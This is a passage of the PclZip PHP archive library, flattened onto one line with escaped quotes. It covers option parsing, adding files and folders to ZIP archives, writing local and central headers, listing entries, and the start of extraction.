PCLZIP_OPT_REPLACE_NEWER : case PCLZIP_OPT_STOP_ON_ERROR : $v_result_list[$p_options_list[$i]] = true; break; case PCLZIP_OPT_SET_CHMOD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; $i++; break; case PCLZIP_CB_PRE_EXTRACT : case PCLZIP_CB_POST_EXTRACT : case PCLZIP_CB_PRE_ADD : case PCLZIP_CB_POST_ADD : if (($i+1) >= $p_size) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_function_name = $p_options_list[$i+1]; if (!function_exists($v_function_name)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function \'".$v_function_name."()\' is not an existing function for option \'".PclZipUtilOptionText($p_options_list[$i])."\'"); return PclZip::errorCode(); } $v_result_list[$p_options_list[$i]] = $v_function_name; $i++; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter \'" .$p_options_list[$i]."\'"); return PclZip::errorCode(); } $i++; } if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { if ($v_requested_options[$key] == \'mandatory\') { if (!isset($v_result_list[$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); return PclZip::errorCode(); } } } } if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { } return $v_result; } function privOptionDefaultThreshold(&$p_options) { $v_result=1; if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { return $v_result; } $v_memory_limit = ini_get(\'memory_limit\'); $v_memory_limit = trim($v_memory_limit); $last = strtolower(substr($v_memory_limit, -1)); if($last == \'g\') $v_memory_limit = $v_memory_limit*1073741824; if($last == \'m\') $v_memory_limit = $v_memory_limit*1048576; if($last == \'k\') $v_memory_limit = $v_memory_limit*1024; $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); } return $v_result; } function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false) { $v_result=1; foreach ($p_file_list as $v_key => $v_value) { if (!isset($v_requested_options[$v_key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute \'".$v_key."\' for this file"); return PclZip::errorCode(); } switch ($v_key) { case PCLZIP_ATT_FILE_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'filename\'] = PclZipUtilPathReduction($v_value); if ($p_filedescr[\'filename\'] == \'\') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_SHORT_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'new_short_name\'] = PclZipUtilPathReduction($v_value); if ($p_filedescr[\'new_short_name\'] == \'\') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_NEW_FULL_NAME : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'new_full_name\'] = PclZipUtilPathReduction($v_value); if ($p_filedescr[\'new_full_name\'] == \'\') { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } break; case PCLZIP_ATT_FILE_COMMENT : if (!is_string($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'comment\'] = $v_value; break; case PCLZIP_ATT_FILE_MTIME : if (!is_integer($v_value)) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute \'".PclZipUtilOptionText($v_key)."\'"); return PclZip::errorCode(); } $p_filedescr[\'mtime\'] = $v_value; break; case PCLZIP_ATT_FILE_CONTENT : $p_filedescr[\'content\'] = $v_value; break; default : PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Unknown parameter \'".$v_key."\'"); return PclZip::errorCode(); } if ($v_requested_options !== false) { for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { if ($v_requested_options[$key] == \'mandatory\') { if (!isset($p_file_list[$key])) { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); return PclZip::errorCode(); } } } } } return $v_result; } function privFileDescrExpand(&$p_filedescr_list, &$p_options) { $v_result=1; $v_result_list = array(); for ($i=0; $i<sizeof($p_filedescr_list); $i++) { $v_descr = $p_filedescr_list[$i]; $v_descr[\'filename\'] = PclZipUtilTranslateWinPath($v_descr[\'filename\'], false); $v_descr[\'filename\'] = PclZipUtilPathReduction($v_descr[\'filename\']); if (file_exists($v_descr[\'filename\'])) { if (@is_file($v_descr[\'filename\'])) { $v_descr[\'type\'] = \'file\'; } else if (@is_dir($v_descr[\'filename\'])) { $v_descr[\'type\'] = \'folder\'; } else if (@is_link($v_descr[\'filename\'])) { continue; } else { continue; } } else if (isset($v_descr[\'content\'])) { $v_descr[\'type\'] = \'virtual_file\'; } else { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File \'".$v_descr[\'filename\']."\' does not exist"); return PclZip::errorCode(); } $this->privCalculateStoredFilename($v_descr, $p_options); $v_result_list[sizeof($v_result_list)] = $v_descr; if ($v_descr[\'type\'] == \'folder\') { $v_dirlist_descr = array(); $v_dirlist_nb = 0; if ($v_folder_handler = @opendir($v_descr[\'filename\'])) { while (($v_item_handler = @readdir($v_folder_handler)) !== false) { if (($v_item_handler == \'.\') || ($v_item_handler == \'..\')) { continue; } $v_dirlist_descr[$v_dirlist_nb][\'filename\'] = $v_descr[\'filename\'].\'/\'.$v_item_handler; if (($v_descr[\'stored_filename\'] != $v_descr[\'filename\']) && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { if ($v_descr[\'stored_filename\'] != \'\') { $v_dirlist_descr[$v_dirlist_nb][\'new_full_name\'] = $v_descr[\'stored_filename\'].\'/\'.$v_item_handler; } else { $v_dirlist_descr[$v_dirlist_nb][\'new_full_name\'] = $v_item_handler; } } $v_dirlist_nb++; } @closedir($v_folder_handler); } else { } if ($v_dirlist_nb != 0) { if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) { return $v_result; } $v_result_list = array_merge($v_result_list, $v_dirlist_descr); } else { } unset($v_dirlist_descr); } } $p_filedescr_list = $v_result_list; return $v_result; } function privCreate($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); $this->privDisableMagicQuotes(); if (($v_result = $this->privOpenFd(\'wb\')) != 1) { return $v_result; } $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options); $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privAdd($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0)) { $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options); return $v_result; } $this->privDisableMagicQuotes(); if (($v_result=$this->privOpenFd(\'rb\')) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } @rewind($this->zip_fd); $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.tmp\'; if (($v_zip_temp_fd = @fopen($v_zip_temp_name, \'wb\')) == 0) { $this->privCloseFd(); $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_zip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = $v_central_dir[\'offset\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); $this->privSwapBackMagicQuotes(); return $v_result; } $v_offset = @ftell($this->zip_fd); $v_size = $v_central_dir[\'size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++) { if ($v_header_list[$i][\'status\'] == \'ok\') { if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { fclose($v_zip_temp_fd); $this->privCloseFd(); @unlink($v_zip_temp_name); $this->privSwapBackMagicQuotes(); return $v_result; } $v_count++; } $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = $v_central_dir[\'comment\']; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) { $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT]; } if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment; } $v_size = @ftell($this->zip_fd)-$v_offset; if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir[\'entries\'], $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); $this->privSwapBackMagicQuotes(); return $v_result; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $this->privCloseFd(); @fclose($v_zip_temp_fd); $this->privSwapBackMagicQuotes(); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); return $v_result; } function privOpenFd($p_mode) { $v_result=1; if ($this->zip_fd != 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Zip file \\\'\'.$this->zipname.\'\\\' already open\'); return PclZip::errorCode(); } if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive \\\'\'.$this->zipname.\'\\\' in \'.$p_mode.\' mode\'); return PclZip::errorCode(); } return $v_result; } function privCloseFd() { $v_result=1; if ($this->zip_fd != 0) @fclose($this->zip_fd); $this->zip_fd = 0; return $v_result; } function privAddList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_header_list = array(); if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1) { return $v_result; } $v_offset = @ftell($this->zip_fd); for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++) { if ($v_header_list[$i][\'status\'] == \'ok\') { if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) { return $v_result; } $v_count++; } $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = \'\'; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } $v_size = @ftell($this->zip_fd)-$v_offset; if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); return $v_result; } return $v_result; } function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options) { $v_result=1; $v_header = array(); $v_nb = sizeof($p_result_list); for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) { $p_filedescr_list[$j][\'filename\'] = PclZipUtilTranslateWinPath($p_filedescr_list[$j][\'filename\'], false); if ($p_filedescr_list[$j][\'filename\'] == "") { continue; } if ( ($p_filedescr_list[$j][\'type\'] != \'virtual_file\') && (!file_exists($p_filedescr_list[$j][\'filename\']))) { PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File \'".$p_filedescr_list[$j][\'filename\']."\' does not exist"); return PclZip::errorCode(); } if ( ($p_filedescr_list[$j][\'type\'] == \'file\') || ($p_filedescr_list[$j][\'type\'] == \'virtual_file\') || ( ($p_filedescr_list[$j][\'type\'] == \'folder\') && ( !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]) || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) ) { $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header, $p_options); if ($v_result != 1) { return $v_result; } $p_result_list[$v_nb++] = $v_header; } } return $v_result; } function privAddFile($p_filedescr, &$p_header, &$p_options) { $v_result=1; $p_filename = $p_filedescr[\'filename\']; if ($p_filename == "") { PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)"); return PclZip::errorCode(); } clearstatcache(); $p_header[\'version\'] = 20; $p_header[\'version_extracted\'] = 10; $p_header[\'flag\'] = 0; $p_header[\'compression\'] = 0; $p_header[\'crc\'] = 0; $p_header[\'compressed_size\'] = 0; $p_header[\'filename_len\'] = strlen($p_filename); $p_header[\'extra_len\'] = 0; $p_header[\'disk\'] = 0; $p_header[\'internal\'] = 0; $p_header[\'offset\'] = 0; $p_header[\'filename\'] = $p_filename; $p_header[\'stored_filename\'] = $p_filedescr[\'stored_filename\']; $p_header[\'extra\'] = \'\'; $p_header[\'status\'] = \'ok\'; $p_header[\'index\'] = -1; if ($p_filedescr[\'type\']==\'file\') { $p_header[\'external\'] = 0x00000000; $p_header[\'size\'] = filesize($p_filename); } else if ($p_filedescr[\'type\']==\'folder\') { $p_header[\'external\'] = 0x00000010; $p_header[\'mtime\'] = filemtime($p_filename); $p_header[\'size\'] = filesize($p_filename); } else if ($p_filedescr[\'type\'] == \'virtual_file\') { $p_header[\'external\'] = 0x00000000; $p_header[\'size\'] = strlen($p_filedescr[\'content\']); } if (isset($p_filedescr[\'mtime\'])) { $p_header[\'mtime\'] = $p_filedescr[\'mtime\']; } else if ($p_filedescr[\'type\'] == \'virtual_file\') { $p_header[\'mtime\'] = time(); } else { $p_header[\'mtime\'] = filemtime($p_filename); } if (isset($p_filedescr[\'comment\'])) { $p_header[\'comment_len\'] = strlen($p_filedescr[\'comment\']); $p_header[\'comment\'] = $p_filedescr[\'comment\']; } else { $p_header[\'comment_len\'] = 0; $p_header[\'comment\'] = \'\'; } if (isset($p_options[PCLZIP_CB_PRE_ADD])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header); if ($v_result == 0) { $p_header[\'status\'] = "skipped"; $v_result = 1; } if ($p_header[\'stored_filename\'] != $v_local_header[\'stored_filename\']) { $p_header[\'stored_filename\'] = PclZipUtilPathReduction($v_local_header[\'stored_filename\']); } } if ($p_header[\'stored_filename\'] == "") { $p_header[\'status\'] = "filtered"; } if (strlen($p_header[\'stored_filename\']) > 0xFF) { $p_header[\'status\'] = \'filename_too_long\'; } if ($p_header[\'status\'] == \'ok\') { if ($p_filedescr[\'type\'] == \'file\') { if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header[\'size\'])) ) ) { $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options); if ($v_result < PCLZIP_ERR_NO_ERROR) { return $v_result; } } else { if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file \'$p_filename\' in binary read mode"); return PclZip::errorCode(); } $v_content = @fread($v_file, $p_header[\'size\']); @fclose($v_file); $p_header[\'crc\'] = @crc32($v_content); if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { $p_header[\'compressed_size\'] = $p_header[\'size\']; $p_header[\'compression\'] = 0; } else { $v_content = @gzdeflate($v_content); $p_header[\'compressed_size\'] = strlen($v_content); $p_header[\'compression\'] = 8; } if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } @fwrite($this->zip_fd, $v_content, $p_header[\'compressed_size\']); } } else if ($p_filedescr[\'type\'] == \'virtual_file\') { $v_content = $p_filedescr[\'content\']; $p_header[\'crc\'] = @crc32($v_content); if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) { $p_header[\'compressed_size\'] = $p_header[\'size\']; $p_header[\'compression\'] = 0; } else { $v_content = @gzdeflate($v_content); $p_header[\'compressed_size\'] = strlen($v_content); $p_header[\'compression\'] = 8; } if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { @fclose($v_file); return $v_result; } @fwrite($this->zip_fd, $v_content, $p_header[\'compressed_size\']); } else if ($p_filedescr[\'type\'] == \'folder\') { if (@substr($p_header[\'stored_filename\'], -1) != \'/\') { $p_header[\'stored_filename\'] .= \'/\'; } $p_header[\'size\'] = 0; $p_header[\'external\'] = 0x00000010; if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } } } if (isset($p_options[PCLZIP_CB_POST_ADD])) { $v_local_header = array(); $this->privConvertHeader2FileInfo($p_header, $v_local_header); $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header); if ($v_result == 0) { $v_result = 1; } } return $v_result; } function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options) { $v_result=PCLZIP_ERR_NO_ERROR; $p_filename = $p_filedescr[\'filename\']; if (($v_file = @fopen($p_filename, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file \'$p_filename\' in binary read mode"); return PclZip::errorCode(); } $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid(\'pclzip-\').\'.gz\'; if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) { fclose($v_file); PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary write mode\'); return PclZip::errorCode(); } $v_size = filesize($p_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file, $v_read_size); @gzputs($v_file_compressed, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_file); @gzclose($v_file_compressed); if (filesize($v_gzip_temp_name) < 18) { PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, \'gzip temporary file \\\'\'.$v_gzip_temp_name.\'\\\' has invalid filesize - should be minimum 18 bytes\'); return PclZip::errorCode(); } if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary read mode\'); return PclZip::errorCode(); } $v_binary_data = @fread($v_file_compressed, 10); $v_data_header = unpack(\'a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os\', $v_binary_data); $v_data_header[\'os\'] = bin2hex($v_data_header[\'os\']); @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8); $v_binary_data = @fread($v_file_compressed, 8); $v_data_footer = unpack(\'Vcrc/Vcompressed_size\', $v_binary_data); $p_header[\'compression\'] = ord($v_data_header[\'cm\']); $p_header[\'crc\'] = $v_data_footer[\'crc\']; $p_header[\'compressed_size\'] = filesize($v_gzip_temp_name)-18; @fclose($v_file_compressed); if (($v_result = $this->privWriteFileHeader($p_header)) != 1) { return $v_result; } if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) { PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open temporary file \\\'\'.$v_gzip_temp_name.\'\\\' in binary read mode\'); return PclZip::errorCode(); } fseek($v_file_compressed, 10); $v_size = $p_header[\'compressed_size\']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($v_file_compressed, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } @fclose($v_file_compressed); @unlink($v_gzip_temp_name); return $v_result; } function privCalculateStoredFilename(&$p_filedescr, &$p_options) { $v_result=1; $p_filename = $p_filedescr[\'filename\']; if (isset($p_options[PCLZIP_OPT_ADD_PATH])) { $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH]; } else { $p_add_dir = \'\'; } if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) { $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH]; } else { $p_remove_dir = \'\'; } if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH]; } else { $p_remove_all_dir = 0; } if (isset($p_filedescr[\'new_full_name\'])) { $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr[\'new_full_name\']); } else { if (isset($p_filedescr[\'new_short_name\'])) { $v_path_info = pathinfo($p_filename); $v_dir = \'\'; if ($v_path_info[\'dirname\'] != \'\') { $v_dir = $v_path_info[\'dirname\'].\'/\'; } $v_stored_filename = $v_dir.$p_filedescr[\'new_short_name\']; } else { $v_stored_filename = $p_filename; } if ($p_remove_all_dir) { $v_stored_filename = basename($p_filename); } else if ($p_remove_dir != "") { if (substr($p_remove_dir, -1) != \'/\') $p_remove_dir .= "/"; if ( (substr($p_filename, 0, 2) == "./") || (substr($p_remove_dir, 0, 2) == "./")) { if ( (substr($p_filename, 0, 2) == "./") && (substr($p_remove_dir, 0, 2) != "./")) { $p_remove_dir = "./".$p_remove_dir; } if ( (substr($p_filename, 0, 2) != "./") && (substr($p_remove_dir, 0, 2) == "./")) { $p_remove_dir = substr($p_remove_dir, 2); } } $v_compare = PclZipUtilPathInclusion($p_remove_dir, $v_stored_filename); if ($v_compare > 0) { if ($v_compare == 2) { $v_stored_filename = ""; } else { $v_stored_filename = substr($v_stored_filename, strlen($p_remove_dir)); } } } $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename); if ($p_add_dir != "") { if (substr($p_add_dir, -1) == "/") $v_stored_filename = $p_add_dir.$v_stored_filename; else $v_stored_filename = $p_add_dir."/".$v_stored_filename; } } $v_stored_filename = PclZipUtilPathReduction($v_stored_filename); $p_filedescr[\'stored_filename\'] = $v_stored_filename; return $v_result; } function privWriteFileHeader(&$p_header) { $v_result=1; $p_header[\'offset\'] = ftell($this->zip_fd); $v_date = getdate($p_header[\'mtime\']); $v_mtime = ($v_date[\'hours\']<<11) + ($v_date[\'minutes\']<<5) + $v_date[\'seconds\']/2; $v_mdate = (($v_date[\'year\']-1980)<<9) + ($v_date[\'mon\']<<5) + $v_date[\'mday\']; $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50, $p_header[\'version_extracted\'], $p_header[\'flag\'], $p_header[\'compression\'], $v_mtime, $v_mdate, $p_header[\'crc\'], $p_header[\'compressed_size\'], $p_header[\'size\'], strlen($p_header[\'stored_filename\']), $p_header[\'extra_len\']); fputs($this->zip_fd, $v_binary_data, 30); if (strlen($p_header[\'stored_filename\']) != 0) { fputs($this->zip_fd, $p_header[\'stored_filename\'], strlen($p_header[\'stored_filename\'])); } if ($p_header[\'extra_len\'] != 0) { fputs($this->zip_fd, $p_header[\'extra\'], $p_header[\'extra_len\']); } return $v_result; } function privWriteCentralFileHeader(&$p_header) { $v_result=1; $v_date = getdate($p_header[\'mtime\']); $v_mtime = ($v_date[\'hours\']<<11) + ($v_date[\'minutes\']<<5) + $v_date[\'seconds\']/2; $v_mdate = (($v_date[\'year\']-1980)<<9) + ($v_date[\'mon\']<<5) + $v_date[\'mday\']; $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50, $p_header[\'version\'], $p_header[\'version_extracted\'], $p_header[\'flag\'], $p_header[\'compression\'], $v_mtime, $v_mdate, $p_header[\'crc\'], $p_header[\'compressed_size\'], $p_header[\'size\'], strlen($p_header[\'stored_filename\']), $p_header[\'extra_len\'], $p_header[\'comment_len\'], $p_header[\'disk\'], $p_header[\'internal\'], $p_header[\'external\'], $p_header[\'offset\']); fputs($this->zip_fd, $v_binary_data, 46); if (strlen($p_header[\'stored_filename\']) != 0) { fputs($this->zip_fd, $p_header[\'stored_filename\'], strlen($p_header[\'stored_filename\'])); } if ($p_header[\'extra_len\'] != 0) { fputs($this->zip_fd, $p_header[\'extra\'], $p_header[\'extra_len\']); } if ($p_header[\'comment_len\'] != 0) { fputs($this->zip_fd, $p_header[\'comment\'], $p_header[\'comment_len\']); } return $v_result; } function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment) { $v_result=1; $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries, $p_nb_entries, $p_size, $p_offset, strlen($p_comment)); fputs($this->zip_fd, $v_binary_data, 22); if (strlen($p_comment) != 0) { fputs($this->zip_fd, $p_comment, strlen($p_comment)); } return $v_result; } function privList(&$p_list) { $v_result=1; $this->privDisableMagicQuotes(); if (($this->zip_fd = @fopen($this->zipname, \'rb\')) == 0) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, \'Unable to open archive \\\'\'.$this->zipname.\'\\\' in binary read mode\'); return PclZip::errorCode(); } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_central_dir[\'offset\'])) { $this->privSwapBackMagicQuotes(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, \'Invalid archive size\'); return PclZip::errorCode(); } for ($i=0; $i<$v_central_dir[\'entries\']; $i++) { if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_header[\'index\'] = $i; $this->privConvertHeader2FileInfo($v_header, $p_list[$i]); unset($v_header); } $this->privCloseFd(); $this->privSwapBackMagicQuotes(); return $v_result; } function privConvertHeader2FileInfo($p_header, &$p_info) { $v_result=1; $v_temp_path = PclZipUtilPathReduction($p_header[\'filename\']); $p_info[\'filename\'] = $v_temp_path; $v_temp_path = PclZipUtilPathReduction($p_header[\'stored_filename\']); $p_info[\'stored_filename\'] = $v_temp_path; $p_info[\'size\'] = $p_header[\'size\']; $p_info[\'compressed_size\'] = $p_header[\'compressed_size\']; $p_info[\'mtime\'] = $p_header[\'mtime\']; $p_info[\'comment\'] = $p_header[\'comment\']; $p_info[\'folder\'] = (($p_header[\'external\']&0x00000010)==0x00000010); $p_info[\'index\'] = $p_header[\'index\']; $p_info[\'status\'] = $p_header[\'status\']; $p_info[\'crc\'] = $p_header[\'crc\']; return $v_result; } function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) { $v_result=1; $this->privDisableMagicQuotes(); if ( ($p_path == "") || ( (substr($p_path, 0, 1) != "/") && (substr($p_path, 0, 3) != "../") && (substr($p_path,1,2)!=":/"))) $p_path = "./".$p_path; if (($p_path != "./") && ($p_path != "/")) { while (substr($p_path, -1) == "/") { $p_path = substr($p_path, 0, strlen($p_path)-1); } } if (($p_remove_path != "") && (substr($p_remove_path, -1) != \'/\')) { $p_remove_path .= \'/\'; } $p_remove_path_size = strlen($p_remove_path); if (($v_result = $this->privOpenFd(\'rb\')) != 1) { $this->privSwapBackMagicQuotes(); return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) 